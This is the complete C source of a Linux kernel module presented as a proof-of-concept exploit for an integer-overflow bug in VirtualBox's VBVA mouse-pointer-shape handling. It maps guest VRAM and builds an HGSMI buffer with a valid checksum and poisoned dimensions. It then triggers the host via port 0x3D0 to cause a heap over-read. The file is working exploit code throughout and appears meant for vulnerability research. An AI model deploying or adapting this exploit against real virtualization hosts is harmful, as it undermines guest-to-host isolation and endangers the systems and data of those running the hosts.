/* * GFX-1 PoC: VBVA Mouse Pointer Shape Integer Overflow * * Demonstrates CVE-worthy bug in VirtualBox DevVGA_VBVA.cpp:740-741 * where || is used instead of && in dimension validation: * * ASSERT_GUEST_MSG_RETURN( SafeShape.u32Width <= s_cxMax * || SafeShape.u32Height <= s_cyMax, ...) * * This allows Width > 2048 as long as Height <= 2048, causing integer * overflow in cbPointerData computation. The host allocates a tiny * buffer but stores huge width/height, leading to heap over-read when * the host display driver processes the cursor shape. * * Trigger path (no Guest Additions required): * guest writes HGSMI buffer to VRAM → outl(offset, 0x3D0) * → HGSMIGuestWrite → HGSMIBufferProcess → vbvaChannelHandler * → vbvaMousePointerShape → integer overflow → small RTMemAlloc * → pfnVBVAMousePointerShape with bogus width/height * * Usage: insmod gfx1_exploit.ko * dmesg | grep gfx1_poc * rmmod gfx1_exploit */ #include #include #include #include #include MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Research"); MODULE_DESCRIPTION("GFX-1: VBVA mouse pointer shape integer overflow PoC"); #define VBOX_VGA_VENDOR 0x80ee #define VBOX_VGA_DEVICE 0xbeef /* HGSMI port for guest commands */ #define VGA_PORT_HGSMI_GUEST 0x3D0 /* HGSMI channel and command IDs */ #define HGSMI_CH_VBVA 0x02 #define VBVA_MOUSE_POINTER_SHAPE 8 /* Mouse pointer flags */ #define VBOX_MOUSE_POINTER_VISIBLE 0x0001 #define VBOX_MOUSE_POINTER_SHAPE 0x0004 /* HGSMI buffer header (16 bytes, packed) */ struct hgsmi_buffer_header { uint32_t u32DataSize; uint8_t u8Flags; uint8_t u8Channel; uint16_t u16ChannelInfo; uint32_t u32Reserved1; uint32_t u32Reserved2; } __packed; /* HGSMI buffer tail (8 bytes, packed) */ struct hgsmi_buffer_tail { uint32_t u32Reserved; uint32_t u32Checksum; } __packed; /* VBVAMOUSEPOINTERSHAPE (24 bytes header + variable data) */ struct vbva_mouse_pointer_shape { int32_t i32Result; uint32_t fu32Flags; uint32_t u32HotX; uint32_t u32HotY; uint32_t u32Width; uint32_t u32Height; /* au8Data follows */ } __packed; /* * One-at-a-time hash — exact replica of HGSMICommon.cpp */ static uint32_t hgsmi_hash_process(uint32_t hash, const void *data, size_t len) { const uint8_t *p = data; while (len--) { hash += *p++; hash += (hash << 10); hash ^= (hash >> 6); } return hash; } static uint32_t hgsmi_hash_end(uint32_t hash) { hash += (hash << 3); hash ^= (hash >> 11); hash += (hash << 15); return hash; } static uint32_t hgsmi_checksum(uint32_t offset, const struct hgsmi_buffer_header *hdr, uint32_t tail_reserved) { uint32_t hash = 0; /* hgsmiHashBegin() */ hash = hgsmi_hash_process(hash, &offset, sizeof(offset)); hash = hgsmi_hash_process(hash, hdr, sizeof(*hdr)); hash = hgsmi_hash_process(hash, &tail_reserved, sizeof(tail_reserved)); return hgsmi_hash_end(hash); } /* * Demonstrate the integer overflow arithmetic (for dmesg logging). * * With Width=0x80000001, Height=16: * AND mask: (((W+7)/8) * H + 3) & ~3 * = (0x10000001 * 16 + 3) & ~3 * = (0x00000010 + 3) & ~3 [overflow!] * = 16 * XOR mask: W * 4 * H * = 0x00000004 * 16 [overflow!] * = 64 * cbPointerData = 16 + 64 = 80 [should be ~12 GB] */ #define POISON_WIDTH 0x80000001U #define POISON_HEIGHT 16U /* The overflowed cbPointerData value */ #define CB_POINTER_DATA 80U /* VBVAMOUSEPOINTERSHAPE fields before au8Data */ #define SHAPE_HEADER_SIZE 24U /* We need u32DataSize >= CB_POINTER_DATA + SHAPE_HEADER_SIZE = 104 */ #define HGSMI_DATA_SIZE 128U /* Place buffer well past display framebuffer area */ #define BUFFER_VRAM_OFFSET 0x00100000U /* 1 MB into VRAM */ static struct pci_dev *vga_dev; static void __iomem *vram_map; /* mapped window (just the page we need) */ static resource_size_t vram_size; static resource_size_t map_phys; static resource_size_t map_size; static int __init gfx1_init(void) { struct hgsmi_buffer_header hdr; struct hgsmi_buffer_tail tail; struct vbva_mouse_pointer_shape shape; uint32_t checksum; void __iomem *buf_base; uint32_t total_buf_size; int32_t result; resource_size_t bar_start; pr_info("gfx1_poc: Loading GFX-1 VBVA mouse pointer overflow PoC\n"); /* Find VirtualBox VGA device */ vga_dev = pci_get_device(VBOX_VGA_VENDOR, VBOX_VGA_DEVICE, NULL); if (!vga_dev) { pr_err("gfx1_poc: VBox VGA device [%04x:%04x] not found\n", VBOX_VGA_VENDOR, VBOX_VGA_DEVICE); return -ENODEV; } pr_info("gfx1_poc: Found VBox VGA at %s\n", pci_name(vga_dev)); /* Get VRAM (BAR 0) size and base */ vram_size = pci_resource_len(vga_dev, 0); bar_start = pci_resource_start(vga_dev, 0); if (vram_size == 0 || bar_start == 0) { pr_err("gfx1_poc: BAR 0 invalid (start=0x%llx, size=0x%llx)\n", (unsigned long long)bar_start, (unsigned long long)vram_size); pci_dev_put(vga_dev); return -ENOMEM; } pr_info("gfx1_poc: VRAM BAR 0: phys 0x%llx size 0x%llx\n", (unsigned long long)bar_start, (unsigned long long)vram_size); total_buf_size = sizeof(struct hgsmi_buffer_header) + HGSMI_DATA_SIZE + sizeof(struct hgsmi_buffer_tail); if (BUFFER_VRAM_OFFSET + total_buf_size > vram_size) { pr_err("gfx1_poc: VRAM too small for buffer at offset 0x%x\n", BUFFER_VRAM_OFFSET); pci_dev_put(vga_dev); return -ENOMEM; } /* * Map only a small window around our buffer, not the entire VRAM. * This avoids ioremap failures when VRAM is large (16-256 MB) and * the existing framebuffer driver already holds the region. */ map_phys = bar_start + (BUFFER_VRAM_OFFSET & PAGE_MASK); map_size = PAGE_ALIGN(total_buf_size + (BUFFER_VRAM_OFFSET & ~PAGE_MASK)) + PAGE_SIZE; vram_map = ioremap(map_phys, map_size); if (!vram_map) { pr_err("gfx1_poc: Failed to ioremap VRAM window " "(phys 0x%llx, size 0x%llx)\n", (unsigned long long)map_phys, (unsigned long long)map_size); pci_dev_put(vga_dev); return -ENOMEM; } pr_info("gfx1_poc: Mapped VRAM window at %p (phys 0x%llx + 0x%llx)\n", vram_map, (unsigned long long)map_phys, (unsigned long long)map_size); /* * Build HGSMI buffer in VRAM at BUFFER_VRAM_OFFSET * * Layout: * +0x00: HGSMIBUFFERHEADER (16 bytes) * +0x10: payload = VBVAMOUSEPOINTERSHAPE (128 bytes) * +0x90: HGSMIBUFFERTAIL (8 bytes) * Total: 152 bytes */ /* buf_base = mapped window base + offset within the mapped page */ buf_base = vram_map + (BUFFER_VRAM_OFFSET - (BUFFER_VRAM_OFFSET & PAGE_MASK)); /* --- Header --- */ memset(&hdr, 0, sizeof(hdr)); hdr.u32DataSize = HGSMI_DATA_SIZE; /* 128 */ hdr.u8Flags = 0x00; /* SEQ_SINGLE */ hdr.u8Channel = HGSMI_CH_VBVA; /* 0x02 */ hdr.u16ChannelInfo = VBVA_MOUSE_POINTER_SHAPE; /* 8 */ hdr.u32Reserved1 = 0; hdr.u32Reserved2 = 0; /* --- Payload (mouse pointer shape) --- */ memset(&shape, 0, sizeof(shape)); shape.i32Result = 0; shape.fu32Flags = VBOX_MOUSE_POINTER_VISIBLE | VBOX_MOUSE_POINTER_SHAPE; shape.u32HotX = 0; shape.u32HotY = 0; shape.u32Width = POISON_WIDTH; /* 0x80000001 — passes || check */ shape.u32Height = POISON_HEIGHT; /* 16 — satisfies height <= 2048 */ /* --- Tail --- */ memset(&tail, 0, sizeof(tail)); tail.u32Reserved = 0; /* Compute checksum: hash(offset, header, tail.u32Reserved) */ checksum = hgsmi_checksum(BUFFER_VRAM_OFFSET, &hdr, tail.u32Reserved); tail.u32Checksum = checksum; pr_info("gfx1_poc: HGSMI checksum = 0x%08x\n", checksum); pr_info("gfx1_poc: Malicious shape: %ux%u (should overflow cbPointerData to %u)\n", POISON_WIDTH, POISON_HEIGHT, CB_POINTER_DATA); /* Verify overflow arithmetic */ { uint32_t w = POISON_WIDTH, h = POISON_HEIGHT; uint32_t and_mask = ((((w + 7) / 8) * h + 3) & ~3U); uint32_t xor_mask = w * 4 * h; uint32_t cb = and_mask + xor_mask; pr_info("gfx1_poc: Overflow check: AND=%u XOR=%u cbPointerData=%u\n", and_mask, xor_mask, cb); pr_info("gfx1_poc: Real data needed: ~%llu bytes (AND) + ~%llu bytes (XOR)\n", (unsigned long long)((((uint64_t)w + 7) / 8) * h), (unsigned long long)((uint64_t)w * 4 * h)); } /* Zero the entire buffer region in VRAM first */ memset_io(buf_base, 0, total_buf_size); /* Write header to VRAM */ memcpy_toio(buf_base, &hdr, sizeof(hdr)); /* Write shape payload to VRAM (after header) */ memcpy_toio(buf_base + sizeof(hdr), &shape, sizeof(shape)); /* Remaining payload bytes (128 - 24 = 104 bytes of au8Data area) * are already zeroed — serves as dummy pixel data */ /* Write tail to VRAM */ memcpy_toio(buf_base + sizeof(hdr) + HGSMI_DATA_SIZE, &tail, sizeof(tail)); pr_info("gfx1_poc: HGSMI buffer written at VRAM offset 0x%x\n", BUFFER_VRAM_OFFSET); pr_info("gfx1_poc: Triggering via outl(0x%x, 0x%x)...\n", BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST); /* Fire! Write the buffer offset to the HGSMI guest port */ outl(BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST); /* Small delay for host processing */ mdelay(100); /* Read back i32Result from the payload in VRAM */ result = readl(buf_base + sizeof(hdr)); /* first field of shape */ pr_info("gfx1_poc: i32Result = %d (0=success, negative=VBox error)\n", result); if (result == 0) { pr_info("gfx1_poc: *** COMMAND ACCEPTED ***\n"); pr_info("gfx1_poc: Host allocated %u bytes for a %ux%u cursor\n", CB_POINTER_DATA, POISON_WIDTH, POISON_HEIGHT); pr_info("gfx1_poc: The host display driver now has a cursor shape with\n"); pr_info("gfx1_poc: dimensions 2147483649x16 but only 80 bytes of pixel data.\n"); pr_info("gfx1_poc: === GFX-1 INTEGER OVERFLOW CONFIRMED ===\n"); } else if (result == -22) { /* VERR_INVALID_PARAMETER = -22 in VBox error codes */ pr_info("gfx1_poc: Command rejected with VERR_INVALID_PARAMETER\n"); pr_info("gfx1_poc: The validation caught the bad dimensions (bug may be fixed)\n"); } else { pr_info("gfx1_poc: Unexpected result code: %d\n", result); } return 0; } static void __exit gfx1_exit(void) { if (vram_map) iounmap(vram_map); if (vga_dev) pci_dev_put(vga_dev); pr_info("gfx1_poc: Unloaded\n"); } module_init(gfx1_init); module_exit(gfx1_exit);